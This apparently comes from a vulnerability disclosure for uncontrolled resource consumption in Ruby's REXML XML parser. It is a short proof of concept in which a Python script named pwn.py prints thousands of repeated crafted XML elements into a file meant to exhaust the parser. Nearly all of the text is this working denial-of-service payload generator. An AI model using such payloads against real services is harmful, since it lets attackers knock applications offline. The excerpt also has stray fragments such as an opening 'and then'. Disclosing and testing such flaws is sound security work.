Uncontrolled Resource Consumption when parsing maliciously crafted XML with REXML

and then redirect the output of this program to a file: `python pwn.py > pwn.xml`

start = ""
middle = "<a xml:b=\"\" b=\"\">" + "<D>" * 1
end = ""
print(start)
COUNT = 2000
for _ in range(COUNT):
	print(middle)
print(end)